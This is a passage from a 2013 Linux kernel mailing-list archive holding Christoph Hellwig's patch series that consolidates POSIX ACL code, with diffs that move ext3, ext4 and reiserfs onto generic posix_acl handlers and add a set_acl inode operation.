(value) { - acl = posix_acl_from_xattr(&init_user_ns, value, size); - if (IS_ERR(acl)) - return PTR_ERR(acl); - else if (acl) { - error = posix_acl_valid(acl); - if (error) - goto release_and_out; - } - } else - acl = NULL; - -retry: - handle = ext3_journal_start(inode, EXT3_DATA_TRANS_BLOCKS(inode->i_sb)); - if (IS_ERR(handle)) - return PTR_ERR(handle); - error = ext3_set_acl(handle, inode, type, acl); - ext3_journal_stop(handle); - if (error == -ENOSPC && ext3_should_retry_alloc(inode->i_sb, &retries)) - goto retry; + error = posix_acl_create(dir, &inode->i_mode, &default_acl, &acl); + if (error) + return error; -release_and_out: - posix_acl_release(acl); + if (default_acl) { + error = __ext3_set_acl(handle, inode, ACL_TYPE_DEFAULT, + default_acl); + posix_acl_release(default_acl); + } + if (acl) { + if (!error) + error = __ext3_set_acl(handle, inode, ACL_TYPE_ACCESS, + acl); + posix_acl_release(acl); + } return error; } - -const struct xattr_handler ext3_xattr_acl_access_handler = { - .prefix = POSIX_ACL_XATTR_ACCESS, - .flags = ACL_TYPE_ACCESS, - .list = ext3_xattr_list_acl_access, - .get = ext3_xattr_get_acl, - .set = ext3_xattr_set_acl, -}; - -const struct xattr_handler ext3_xattr_acl_default_handler = { - .prefix = POSIX_ACL_XATTR_DEFAULT, - .flags = ACL_TYPE_DEFAULT, - .list = ext3_xattr_list_acl_default, - .get = ext3_xattr_get_acl, - .set = ext3_xattr_set_acl, -}; diff --git a/fs/ext3/acl.h b/fs/ext3/acl.h index dbc921e..ea1c69e 100644 --- a/fs/ext3/acl.h +++ b/fs/ext3/acl.h @@ -55,18 +55,13 @@ static inline int ext3_acl_count(size_t size) /* acl.c */ extern struct posix_acl *ext3_get_acl(struct inode *inode, int type); -extern int ext3_acl_chmod (struct inode *); +extern int ext3_set_acl(struct inode *inode, struct posix_acl *acl, int type); extern int ext3_init_acl (handle_t *, struct inode *, struct inode *); #else /* CONFIG_EXT3_FS_POSIX_ACL */ #include #define ext3_get_acl NULL - -static inline int -ext3_acl_chmod(struct inode *inode) -{ - return 0; -} +#define ext3_set_acl NULL static inline int ext3_init_acl(handle_t *handle, struct inode *inode, struct inode *dir) diff --git a/fs/ext3/file.c b/fs/ext3/file.c index 25cb413..aad0531 100644 --- a/fs/ext3/file.c +++ b/fs/ext3/file.c @@ -75,6 +75,7 @@ const struct inode_operations ext3_file_inode_operations = { .removexattr = generic_removexattr, #endif .get_acl = ext3_get_acl, + .set_acl = ext3_set_acl, .fiemap = ext3_fiemap, }; diff --git a/fs/ext3/inode.c b/fs/ext3/inode.c index 2bd8548..384b6eb 100644 --- a/fs/ext3/inode.c +++ b/fs/ext3/inode.c @@ -3365,7 +3365,7 @@ int ext3_setattr(struct dentry *dentry, struct iattr *attr) mark_inode_dirty(inode); if (ia_valid & ATTR_MODE) - rc = ext3_acl_chmod(inode); + rc = posix_acl_chmod(inode, inode->i_mode); err_out: ext3_std_error(inode->i_sb, error); diff --git a/fs/ext3/namei.c b/fs/ext3/namei.c index f8cde46..f197736 100644 --- a/fs/ext3/namei.c +++ b/fs/ext3/namei.c @@ -2569,6 +2569,7 @@ const struct inode_operations ext3_dir_inode_operations = { .removexattr = generic_removexattr, #endif .get_acl = ext3_get_acl, + .set_acl = ext3_set_acl, }; const struct inode_operations ext3_special_inode_operations = { @@ -2580,4 +2581,5 @@ const struct inode_operations ext3_special_inode_operations = { .removexattr = generic_removexattr, #endif .get_acl = ext3_get_acl, + .set_acl = ext3_set_acl, }; diff --git a/fs/ext3/xattr.c b/fs/ext3/xattr.c index b1fc963..c6874be 100644 --- a/fs/ext3/xattr.c +++ b/fs/ext3/xattr.c @@ -102,8 +102,8 @@ static struct mb_cache *ext3_xattr_cache; static const struct xattr_handler *ext3_xattr_handler_map[] = { [EXT3_XATTR_INDEX_USER] = &ext3_xattr_user_handler, #ifdef CONFIG_EXT3_FS_POSIX_ACL - [EXT3_XATTR_INDEX_POSIX_ACL_ACCESS] = &ext3_xattr_acl_access_handler, - [EXT3_XATTR_INDEX_POSIX_ACL_DEFAULT] = &ext3_xattr_acl_default_handler, + [EXT3_XATTR_INDEX_POSIX_ACL_ACCESS] = &posix_acl_access_xattr_handler, + [EXT3_XATTR_INDEX_POSIX_ACL_DEFAULT] = &posix_acl_default_xattr_handler, #endif [EXT3_XATTR_INDEX_TRUSTED] = &ext3_xattr_trusted_handler, #ifdef CONFIG_EXT3_FS_SECURITY @@ -115,8 +115,8 @@ const struct xattr_handler *ext3_xattr_handlers[] = { &ext3_xattr_user_handler, &ext3_xattr_trusted_handler, #ifdef CONFIG_EXT3_FS_POSIX_ACL - &ext3_xattr_acl_access_handler, - &ext3_xattr_acl_default_handler, + &posix_acl_access_xattr_handler, + &posix_acl_default_xattr_handler, #endif #ifdef CONFIG_EXT3_FS_SECURITY &ext3_xattr_security_handler, diff --git a/fs/ext3/xattr.h b/fs/ext3/xattr.h index 2be4f69..32e93eb 100644 --- a/fs/ext3/xattr.h +++ b/fs/ext3/xattr.h @@ -60,8 +60,6 @@ struct ext3_xattr_entry { extern const struct xattr_handler ext3_xattr_user_handler; extern const struct xattr_handler ext3_xattr_trusted_handler; -extern const struct xattr_handler ext3_xattr_acl_access_handler; -extern const struct xattr_handler ext3_xattr_acl_default_handler; extern const struct xattr_handler ext3_xattr_security_handler; extern ssize_t ext3_listxattr(struct dentry *, char *, size_t); diff --git a/fs/ext4/acl.c b/fs/ext4/acl.c index f827f3b..d40c8db 100644 --- a/fs/ext4/acl.c +++ b/fs/ext4/acl.c @@ -152,13 +152,6 @@ ext4_get_acl(struct inode *inode, int type) struct posix_acl *acl; int retval; - if (!test_opt(inode->i_sb, POSIX_ACL)) - return NULL; - - acl = get_cached_acl(inode, type); - if (acl != ACL_NOT_CACHED) - return acl; - switch (type) { case ACL_TYPE_ACCESS: name_index = EXT4_XATTR_INDEX_POSIX_ACL_ACCESS; @@ -196,7 +189,7 @@ ext4_get_acl(struct inode *inode, int type) * inode->i_mutex: down unless called from ext4_new_inode */ static int -ext4_set_acl(handle_t *handle, struct inode *inode, int type, +__ext4_set_acl(handle_t *handle, struct inode *inode, int type, struct posix_acl *acl) { int name_index; @@ -204,9 +197,6 @@ ext4_set_acl(handle_t *handle, struct inode *inode, int type, size_t size = 0; int error; - if (S_ISLNK(inode->i_mode)) - return -EOPNOTSUPP; - switch (type) { case ACL_TYPE_ACCESS: name_index = EXT4_XATTR_INDEX_POSIX_ACL_ACCESS; @@ -248,208 +238,51 @@ ext4_set_acl(handle_t *handle, struct inode *inode, int type, return error; } -/* - * Initialize the ACLs of a new inode. Called from ext4_new_inode. - * - * dir->i_mutex: down - * inode->i_mutex: up (access to inode is still exclusive) - */ int -ext4_init_acl(handle_t *handle, struct inode *inode, struct inode *dir) +ext4_set_acl(struct inode *inode, struct posix_acl *acl, int type) { - struct posix_acl *acl = NULL; - int error = 0; - - if (!S_ISLNK(inode->i_mode)) { - if (test_opt(dir->i_sb, POSIX_ACL)) { - acl = ext4_get_acl(dir, ACL_TYPE_DEFAULT); - if (IS_ERR(acl)) - return PTR_ERR(acl); - } - if (!acl) - inode->i_mode &= ~current_umask(); - } - if (test_opt(inode->i_sb, POSIX_ACL) && acl) { - if (S_ISDIR(inode->i_mode)) { - error = ext4_set_acl(handle, inode, - ACL_TYPE_DEFAULT, acl); - if (error) - goto cleanup; - } - error = __posix_acl_create(&acl, GFP_NOFS, &inode->i_mode); - if (error < 0) - return error; - - if (error > 0) { - /* This is an extended ACL */ - error = ext4_set_acl(handle, inode, ACL_TYPE_ACCESS, acl); - } - } -cleanup: - posix_acl_release(acl); - return error; -} - -/* - * Does chmod for an inode that may have an Access Control List. The - * inode->i_mode field must be updated to the desired value by the caller - * before calling this function. - * Returns 0 on success, or a negative error number. - * - * We change the ACL rather than storing some ACL entries in the file - * mode permission bits (which would be more efficient), because that - * would break once additional permissions (like ACL_APPEND, ACL_DELETE - * for directories) are added. There are no more bits available in the - * file mode. - * - * inode->i_mutex: down - */ -int -ext4_acl_chmod(struct inode *inode) -{ - struct posix_acl *acl; handle_t *handle; - int retries = 0; - int error; - + int error, retries = 0; - if (S_ISLNK(inode->i_mode)) - return -EOPNOTSUPP; - if (!test_opt(inode->i_sb, POSIX_ACL)) - return 0; - acl = ext4_get_acl(inode, ACL_TYPE_ACCESS); - if (IS_ERR(acl) || !acl) - return PTR_ERR(acl); - error = __posix_acl_chmod(&acl, GFP_KERNEL, inode->i_mode); - if (error) - return error; retry: handle = ext4_journal_start(inode, EXT4_HT_XATTR, ext4_jbd2_credits_xattr(inode)); - if (IS_ERR(handle)) { - error = PTR_ERR(handle); - ext4_std_error(inode->i_sb, error); - goto out; - } - error = ext4_set_acl(handle, inode, ACL_TYPE_ACCESS, acl); + if (IS_ERR(handle)) + return PTR_ERR(handle); + + error = __ext4_set_acl(handle, inode, type, acl); ext4_journal_stop(handle); - if (error == -ENOSPC && - ext4_should_retry_alloc(inode->i_sb, &retries)) + if (error == -ENOSPC && ext4_should_retry_alloc(inode->i_sb, &retries)) goto retry; -out: - posix_acl_release(acl); return error; } /* - * Extended attribute handlers + * Initialize the ACLs of a new inode. Called from ext4_new_inode. + * + * dir->i_mutex: down + * inode->i_mutex: up (access to inode is still exclusive) */ -static size_t -ext4_xattr_list_acl_access(struct dentry *dentry, char *list, size_t list_len, - const char *name, size_t name_len, int type) -{ - const size_t size = sizeof(POSIX_ACL_XATTR_ACCESS); - - if (!test_opt(dentry->d_sb, POSIX_ACL)) - return 0; - if (list && size <= list_len) - memcpy(list, POSIX_ACL_XATTR_ACCESS, size); - return size; -} - -static size_t -ext4_xattr_list_acl_default(struct dentry *dentry, char *list, size_t list_len, - const char *name, size_t name_len, int type) -{ - const size_t size = sizeof(POSIX_ACL_XATTR_DEFAULT); - - if (!test_opt(dentry->d_sb, POSIX_ACL)) - return 0; - if (list && size <= list_len) - memcpy(list, POSIX_ACL_XATTR_DEFAULT, size); - return size; -} - -static int -ext4_xattr_get_acl(struct dentry *dentry, const char *name, void *buffer, - size_t size, int type) +int +ext4_init_acl(handle_t *handle, struct inode *inode, struct inode *dir) { - struct posix_acl *acl; + struct posix_acl *default_acl, *acl; int error; - if (strcmp(name, "") != 0) - return -EINVAL; - if (!test_opt(dentry->d_sb, POSIX_ACL)) - return -EOPNOTSUPP; - - acl = ext4_get_acl(dentry->d_inode, type); - if (IS_ERR(acl)) - return PTR_ERR(acl); - if (acl == NULL) - return -ENODATA; - error = posix_acl_to_xattr(&init_user_ns, acl, buffer, size); - posix_acl_release(acl); - - return error; -} - -static int -ext4_xattr_set_acl(struct dentry *dentry, const char *name, const void *value, - size_t size, int flags, int type) -{ - struct inode *inode = dentry->d_inode; - handle_t *handle; - struct posix_acl *acl; - int error, retries = 0; - - if (strcmp(name, "") != 0) - return -EINVAL; - if (!test_opt(inode->i_sb, POSIX_ACL)) - return -EOPNOTSUPP; - if (!inode_owner_or_capable(inode)) - return -EPERM; - - if (value) { - acl = posix_acl_from_xattr(&init_user_ns, value, size); - if (IS_ERR(acl)) - return PTR_ERR(acl); - else if (acl) { - error = posix_acl_valid(acl); - if (error) - goto release_and_out; - } - } else - acl = NULL; + error = posix_acl_create(dir, &inode->i_mode, &default_acl, &acl); + if (error) + return error; -retry: - handle = ext4_journal_start(inode, EXT4_HT_XATTR, - ext4_jbd2_credits_xattr(inode)); - if (IS_ERR(handle)) { - error = PTR_ERR(handle); - goto release_and_out; + if (default_acl) { + error = __ext4_set_acl(handle, inode, ACL_TYPE_DEFAULT, + default_acl); + posix_acl_release(default_acl); + } + if (acl) { + if (!error) + error = __ext4_set_acl(handle, inode, ACL_TYPE_ACCESS, + acl); + posix_acl_release(acl); } - error = ext4_set_acl(handle, inode, type, acl); - ext4_journal_stop(handle); - if (error == -ENOSPC && ext4_should_retry_alloc(inode->i_sb, &retries)) - goto retry; - -release_and_out: - posix_acl_release(acl); return error; } - -const struct xattr_handler ext4_xattr_acl_access_handler = { - .prefix = POSIX_ACL_XATTR_ACCESS, - .flags = ACL_TYPE_ACCESS, - .list = ext4_xattr_list_acl_access, - .get = ext4_xattr_get_acl, - .set = ext4_xattr_set_acl, -}; - -const struct xattr_handler ext4_xattr_acl_default_handler = { - .prefix = POSIX_ACL_XATTR_DEFAULT, - .flags = ACL_TYPE_DEFAULT, - .list = ext4_xattr_list_acl_default, - .get = ext4_xattr_get_acl, - .set = ext4_xattr_set_acl, -}; diff --git a/fs/ext4/acl.h b/fs/ext4/acl.h index 18cb39e..da2c795 100644 --- a/fs/ext4/acl.h +++ b/fs/ext4/acl.h @@ -55,18 +55,13 @@ static inline int ext4_acl_count(size_t size) /* acl.c */ struct posix_acl *ext4_get_acl(struct inode *inode, int type); -extern int ext4_acl_chmod(struct inode *); +int ext4_set_acl(struct inode *inode, struct posix_acl *acl, int type); extern int ext4_init_acl(handle_t *, struct inode *, struct inode *); #else /* CONFIG_EXT4_FS_POSIX_ACL */ #include #define ext4_get_acl NULL - -static inline int -ext4_acl_chmod(struct inode *inode) -{ - return 0; -} +#define ext4_set_acl NULL static inline int ext4_init_acl(handle_t *handle, struct inode *inode, struct inode *dir) diff --git a/fs/ext4/file.c b/fs/ext4/file.c index 3da2194..43e64f6 100644 --- a/fs/ext4/file.c +++ b/fs/ext4/file.c @@ -617,6 +617,7 @@ const struct inode_operations ext4_file_inode_operations = { .listxattr = ext4_listxattr, .removexattr = generic_removexattr, .get_acl = ext4_get_acl, + .set_acl = ext4_set_acl, .fiemap = ext4_fiemap, }; diff --git a/fs/ext4/inode.c b/fs/ext4/inode.c index 0757634..8277556 100644 --- a/fs/ext4/inode.c +++ b/fs/ext4/inode.c @@ -4675,7 +4675,7 @@ int ext4_setattr(struct dentry *dentry, struct iattr *attr) ext4_orphan_del(NULL, inode); if (!rc && (ia_valid & ATTR_MODE)) - rc = ext4_acl_chmod(inode); + rc = posix_acl_chmod(inode, inode->i_mode); err_out: ext4_std_error(inode->i_sb, error); diff --git a/fs/ext4/namei.c b/fs/ext4/namei.c index 5a0408d..e77c1ba 100644 --- a/fs/ext4/namei.c +++ b/fs/ext4/namei.c @@ -3225,6 +3225,7 @@ const struct inode_operations ext4_dir_inode_operations = { .listxattr = ext4_listxattr, .removexattr = generic_removexattr, .get_acl = ext4_get_acl, + .set_acl = ext4_set_acl, .fiemap = ext4_fiemap, }; @@ -3235,4 +3236,5 @@ const struct inode_operations ext4_special_inode_operations = { .listxattr = ext4_listxattr, .removexattr = generic_removexattr, .get_acl = ext4_get_acl, + .set_acl = ext4_set_acl, }; diff --git a/fs/ext4/xattr.c b/fs/ext4/xattr.c index 1423c48..e175e94 100644 --- a/fs/ext4/xattr.c +++ b/fs/ext4/xattr.c @@ -95,8 +95,8 @@ static struct mb_cache *ext4_xattr_cache; static const struct xattr_handler *ext4_xattr_handler_map[] = { [EXT4_XATTR_INDEX_USER] = &ext4_xattr_user_handler, #ifdef CONFIG_EXT4_FS_POSIX_ACL - [EXT4_XATTR_INDEX_POSIX_ACL_ACCESS] = &ext4_xattr_acl_access_handler, - [EXT4_XATTR_INDEX_POSIX_ACL_DEFAULT] = &ext4_xattr_acl_default_handler, + [EXT4_XATTR_INDEX_POSIX_ACL_ACCESS] = &posix_acl_access_xattr_handler, + [EXT4_XATTR_INDEX_POSIX_ACL_DEFAULT] = &posix_acl_default_xattr_handler, #endif [EXT4_XATTR_INDEX_TRUSTED] = &ext4_xattr_trusted_handler, #ifdef CONFIG_EXT4_FS_SECURITY @@ -108,8 +108,8 @@ const struct xattr_handler *ext4_xattr_handlers[] = { &ext4_xattr_user_handler, &ext4_xattr_trusted_handler, #ifdef CONFIG_EXT4_FS_POSIX_ACL - &ext4_xattr_acl_access_handler, - &ext4_xattr_acl_default_handler, + &posix_acl_access_xattr_handler, + &posix_acl_default_xattr_handler, #endif #ifdef CONFIG_EXT4_FS_SECURITY &ext4_xattr_security_handler, diff --git a/fs/ext4/xattr.h b/fs/ext4/xattr.h index c767dbd..819d639 100644 --- a/fs/ext4/xattr.h +++ b/fs/ext4/xattr.h @@ -96,8 +96,6 @@ struct ext4_xattr_ibody_find { extern const struct xattr_handler ext4_xattr_user_handler; extern const struct xattr_handler ext4_xattr_trusted_handler; -extern const struct xattr_handler ext4_xattr_acl_access_handler; -extern const struct xattr_handler ext4_xattr_acl_default_handler; extern const struct xattr_handler ext4_xattr_security_handler; extern ssize_t ext4_listxattr(struct dentry *, char *, size_t); -- 1.7.10.4 From BATV+73d073057c8fc0323e65+3762+infradead.org+hch@bombadil.srs.infradead.org Wed Dec 11 04:45:47 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 0C3F9801F for ; Wed, 11 Dec 2013 04:45:43 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id CF1398F804C for ; Wed, 11 Dec 2013 02:45:39 -0800 (PST) X-ASG-Debug-ID: 1386758738-04bdf013231aab00001-NocioJ Received: from bombadil.infradead.org (bombadil.infradead.org [198.137.202.9]) by cuda.sgi.com with ESMTP id JFe1KT1RtR6OWcTP (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Wed, 11 Dec 2013 02:45:39 -0800 (PST) X-Barracuda-Envelope-From: BATV+73d073057c8fc0323e65+3762+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1VqhIE-0008In-Vj; Wed, 11 Dec 2013 10:45:27 +0000 Message-Id: <20131211104526.835233009@bombadil.infradead.org> User-Agent: quilt/0.60-1 Date: Wed, 11 Dec 2013 02:42:46 -0800 From: Christoph Hellwig To: viro@zeniv.linux.org.uk Cc: linux-fsdevel@vger.kernel.org, linux-btrfs@vger.kernel.org, linux-ext4@vger.kernel.org, linux-f2fs-devel@lists.sourceforge.net, linux-mtd@lists.infradead.org, Mark Fasheh , Joel Becker , reiserfs-devel@vger.kernel.org, xfs@oss.sgi.com, jfs-discussion@lists.sourceforge.net, cluster-devel@redhat.com, linux-nfs@vger.kernel.org, Andreas Gruenbacher , Jan Kara Subject: [PATCH 03/18] fs: add a set_acl inode operation References: <20131211104243.148113893@bombadil.infradead.org> X-ASG-Orig-Subj: [PATCH 03/18] fs: add a set_acl inode operation Content-Disposition: inline; filename=0003-fs-add-a-set_acl-inode-operation.patch X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[198.137.202.9] X-Barracuda-Start-Time: 1386758739 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143010 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header This will allow moving all the Posix ACL handling into the VFS and clean up tons of cruft in the filesystems. Signed-off-by: Christoph Hellwig Reviewed-by: Jan Kara --- include/linux/fs.h | 1 + 1 file changed, 1 insertion(+) diff --git a/include/linux/fs.h b/include/linux/fs.h index 121f11f..09f553c 100644 --- a/include/linux/fs.h +++ b/include/linux/fs.h @@ -1580,6 +1580,7 @@ struct inode_operations { struct file *, unsigned open_flag, umode_t create_mode, int *opened); int (*tmpfile) (struct inode *, struct dentry *, umode_t); + int (*set_acl)(struct inode *, struct posix_acl *, int); } ____cacheline_aligned; ssize_t rw_copy_check_uvector(int type, const struct iovec __user * uvector, -- 1.7.10.4 From BATV+73d073057c8fc0323e65+3762+infradead.org+hch@bombadil.srs.infradead.org Wed Dec 11 04:45:46 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 733D0801D for ; Wed, 11 Dec 2013 04:45:42 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 5231730406A for ; Wed, 11 Dec 2013 02:45:39 -0800 (PST) X-ASG-Debug-ID: 1386758738-04cbb041666a5b50001-NocioJ Received: from bombadil.infradead.org ([198.137.202.9]) by cuda.sgi.com with ESMTP id 3KQO5Kp5xS2eqAsD (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Wed, 11 Dec 2013 02:45:38 -0800 (PST) X-Barracuda-Envelope-From: BATV+73d073057c8fc0323e65+3762+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1VqhIE-0008H5-Cy; Wed, 11 Dec 2013 10:45:26 +0000 Message-Id: <20131211104243.148113893@bombadil.infradead.org> User-Agent: quilt/0.60-1 Date: Wed, 11 Dec 2013 02:42:43 -0800 From: Christoph Hellwig To: viro@zeniv.linux.org.uk Cc: linux-fsdevel@vger.kernel.org, linux-btrfs@vger.kernel.org, linux-ext4@vger.kernel.org, linux-f2fs-devel@lists.sourceforge.net, linux-mtd@lists.infradead.org, Mark Fasheh , Joel Becker , reiserfs-devel@vger.kernel.org, xfs@oss.sgi.com, jfs-discussion@lists.sourceforge.net, cluster-devel@redhat.com, linux-nfs@vger.kernel.org, Andreas Gruenbacher Subject: [PATCH 00/18] Consolidate Posix ACL implementation V2 X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-ASG-Orig-Subj: [PATCH 00/18] Consolidate Posix ACL implementation V2 X-Barracuda-Connect: UNKNOWN[198.137.202.9] X-Barracuda-Start-Time: 1386758738 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.60 X-Barracuda-Spam-Status: No, SCORE=0.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO, BSF_SC5_MJ1963, RDNS_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143010 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header 0.10 RDNS_NONE Delivered to trusted network by a host with no rDNS 0.50 BSF_SC5_MJ1963 Custom Rule MJ1963 This series consolidates the various cut'n'pasted Posix ACL implementations into a single common one based on the ->get_acl method Linus added a while ago and a new ->set_acl counterpart. This remove ~1800 lines of code and provides a single place to implement various nasty little gems of the semantics. Unfortunately the 9p code is still left out - it implements the ACLs in two very weird ways, one using the common code but on the client only, and one pasing things straight through to the server. We could easily convert it to the new code on the write side if ->set_acl took a dentry, but there's no cance to do that on the ->get_acl side. Ideas how to handle it welcome. After that we'd be ready to never go into the fs for the ACL attributes and branch straight to the ACL code below the syscall, repairing the old API braindamage of overloading ACLs onto the xattrs. Changes from V1: - check for symlinks in the ACL code and remove checks in the lower level functions. - remove get_acl instances for symlinks in a few filesystems - pass a umode_t mode argument to posix_acl_chmod to accomodate f2fs - various cosemtic bits from the reviews. Note that I still haven't heard from ocfs2 folks, so the patch is left unchanged. From BATV+73d073057c8fc0323e65+3762+infradead.org+hch@bombadil.srs.infradead.org Wed Dec 11 04:45:47 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id B3B738013 for ; Wed, 11 Dec 2013 04:45:43 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id A14CA30406A for ; Wed, 11 Dec 2013 02:45:43 -0800 (PST) X-ASG-Debug-ID: 1386758742-04cb6c537e69d4f0001-NocioJ Received: from bombadil.infradead.org (bombadil.infradead.org [198.137.202.9]) by cuda.sgi.com with ESMTP id UfukheKCS64EgDgW (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Wed, 11 Dec 2013 02:45:42 -0800 (PST) X-Barracuda-Envelope-From: BATV+73d073057c8fc0323e65+3762+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1VqhIG-0008Oj-Q9; Wed, 11 Dec 2013 10:45:28 +0000 Message-Id: <20131211104528.676786632@bombadil.infradead.org> User-Agent: quilt/0.60-1 Date: Wed, 11 Dec 2013 02:42:56 -0800 From: Christoph Hellwig To: viro@zeniv.linux.org.uk Cc: linux-fsdevel@vger.kernel.org, linux-btrfs@vger.kernel.org, linux-ext4@vger.kernel.org, linux-f2fs-devel@lists.sourceforge.net, linux-mtd@lists.infradead.org, Mark Fasheh , Joel Becker , reiserfs-devel@vger.kernel.org, xfs@oss.sgi.com, jfs-discussion@lists.sourceforge.net, cluster-devel@redhat.com, linux-nfs@vger.kernel.org, Andreas Gruenbacher , Jan Kara Subject: [PATCH 13/18] reiserfs: use generic posix ACL infrastructure References: <20131211104243.148113893@bombadil.infradead.org> X-ASG-Orig-Subj: [PATCH 13/18] reiserfs: use generic posix ACL infrastructure Content-Disposition: inline; filename=0013-reiserfs-use-generic-posix-ACL-infrastructure.patch X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[198.137.202.9] X-Barracuda-Start-Time: 1386758742 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.60 X-Barracuda-Spam-Status: No, SCORE=0.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO, MARKETING_SUBJECT X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143010 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.60 MARKETING_SUBJECT Subject contains popular marketing words 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header Also don't bother to set up a .get_acl method for symlinks as we do not support access control (ACLs or even mode bits) for symlinks in Linux. Signed-off-by: Christoph Hellwig Reviewed-by: Jan Kara --- fs/reiserfs/acl.h | 4 +- fs/reiserfs/file.c | 1 + fs/reiserfs/namei.c | 4 +- fs/reiserfs/xattr.c | 5 +- fs/reiserfs/xattr_acl.c | 182 +++++++---------------------------------------- 5 files changed, 35 insertions(+), 161 deletions(-) diff --git a/fs/reiserfs/acl.h b/fs/reiserfs/acl.h index f096b80..4a211f5 100644 --- a/fs/reiserfs/acl.h +++ b/fs/reiserfs/acl.h @@ -48,18 +48,18 @@ static inline int reiserfs_acl_count(size_t size) #ifdef CONFIG_REISERFS_FS_POSIX_ACL struct posix_acl *reiserfs_get_acl(struct inode *inode, int type); +int reiserfs_set_acl(struct inode *inode, struct posix_acl *acl, int type); int reiserfs_acl_chmod(struct inode *inode); int reiserfs_inherit_default_acl(struct reiserfs_transaction_handle *th, struct inode *dir, struct dentry *dentry, struct inode *inode); int reiserfs_cache_default_acl(struct inode *dir); -extern const struct xattr_handler reiserfs_posix_acl_default_handler; -extern const struct xattr_handler reiserfs_posix_acl_access_handler; #else #define reiserfs_cache_default_acl(inode) 0 #define reiserfs_get_acl NULL +#define reiserfs_set_acl NULL static inline int reiserfs_acl_chmod(struct inode *inode) { diff --git a/fs/reiserfs/file.c b/fs/reiserfs/file.c index dcaafcf..ed58d84 100644 --- a/fs/reiserfs/file.c +++ b/fs/reiserfs/file.c @@ -260,4 +260,5 @@ const struct inode_operations reiserfs_file_inode_operations = { .removexattr = reiserfs_removexattr, .permission = reiserfs_permission, .get_acl = reiserfs_get_acl, + .set_acl = reiserfs_set_acl, }; diff --git a/fs/reiserfs/namei.c b/fs/reiserfs/namei.c index dc5236f..e825f8b 100644 --- a/fs/reiserfs/namei.c +++ b/fs/reiserfs/namei.c @@ -1522,6 +1522,7 @@ const struct inode_operations reiserfs_dir_inode_operations = { .removexattr = reiserfs_removexattr, .permission = reiserfs_permission, .get_acl = reiserfs_get_acl, + .set_acl = reiserfs_set_acl, }; /* @@ -1538,8 +1539,6 @@ const struct inode_operations reiserfs_symlink_inode_operations = { .listxattr = reiserfs_listxattr, 